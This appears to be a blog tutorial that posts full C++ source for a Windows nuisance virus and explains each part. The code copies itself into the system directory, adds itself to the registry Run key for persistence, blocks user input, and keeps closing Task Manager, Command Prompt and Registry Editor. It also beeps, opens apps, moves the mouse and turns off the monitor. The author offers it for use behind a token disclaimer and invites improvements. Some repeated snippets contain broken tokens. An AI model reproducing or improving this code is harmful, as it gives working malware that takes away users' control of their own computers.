How to make a virus in C++

Here I’m today with an another Post This time Specially For Our Visitors. Please the Code Down Is not to be used For any Wrong Purpose You are Yourself Responsible for, and Consequence That May Follow by the unauthorized use.

Virus Making Is A crime and i don’t Take Any Clam over the Code it is not written By ME.

#include "iostream"
#include "stdio.h"
#include "windows.h"
#include "winable.h"
#include "conio.h"
#include "ctime"
using namespace std;

int random, Freq, Dur, X, Y;
HWND mywindow, TaskMgr, CMD, Regedit;
char Notepad[MAX_PATH]="notepad.exe";
char MineSweeper[MAX_PATH]="winmine.exe";
char Hearts[MAX_PATH]="mshearts.exe";
char Website[MAX_PATH]="http:\\www.google.com";

void SetUp();
void Run( int ID );
void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();

DWORD WINAPI DestroyWindows(LPVOID);

int main()
{
srand( time(0) );
random = rand()%6;
system("title :.Virus.:");
BlockInput( true );
SetUp();
BlockInput( false );
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Run( random );
Sleep(10);
}
}
void SetUp()
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\winminer.exe");
CopyFile(pathtofile,system,false);

HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);

mywindow = FindWindow(NULL,":.Virus.:");
cout<<"You Are Doomed cyberot";
Sleep(1000);
ShowWindow(mywindow, false);
}

void Run( int ID )
{
if( ID == 1 )
{
BlockInput(true);
}
else if( ID == 2 )
{
Beeper();
}
else if( ID == 3 )
{
OpenStuff();
}
else if( ID == 4 )
{
Hibernation();
}
else if( ID == 5 )
{
CrazyMouse();
}
else
{
BlockInput(true);
Beeper();
OpenStuff();
CrazyMouse();
}
}

void Beeper()
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}
void OpenStuff()
{
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE);
}
void Hibernation()
{
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}
void CrazyMouse()
{
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
}

DWORD WINAPI DestroyWindows(LPVOID)
{
while(1)
{
TaskMgr = FindWindow(NULL,"Windows Task Manager");
CMD = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "You Suck Balls Superman");
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( CMD != NULL )
{
SetWindowText( CMD, "You Suck Balls Superman");
PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( Regedit != NULL )
{
SetWindowText( Regedit, "You Suck Balls Superman");
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}

Sleep(10);
}
}

Turn off the monitor

void Hibernation()
{
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}

making your mouse go crazy. Make two rand var’s and tell the mouse to goto them

void CrazyMouse()
{
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
}

open random Apps as it says OpenStuff

void OpenStuff()
{
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXI MIZE);
ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_ MAXIMIZE);
ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIM IZE);
ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXI MIZE);
}

Find windows by name and destroy them … Using the FindWindow command lets use do it and if its not null and it found the window open give it a command.

DWORD WINAPI DestroyWindows(LPVOID)
{
while(1)
{
TaskMgr = FindWindow(NULL,"Windows Task Manager");
CMD = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "You Suck Balls Superman");
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( CMD != NULL )
{
SetWindowText( CMD, "You Suck Balls Superman");
PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( Regedit != NULL )
{
SetWindowText( Regedit, "You Suck Balls Superman");
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}

Add your program to run when windows starts

HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\W indows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);

Make your comp beep different freq and different lengths again by rand numbers

void Beeper()
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}

That’s pretty much it enjoy the virus and I am not responsible for your actions.
Share your feedback on how the virus can be improved.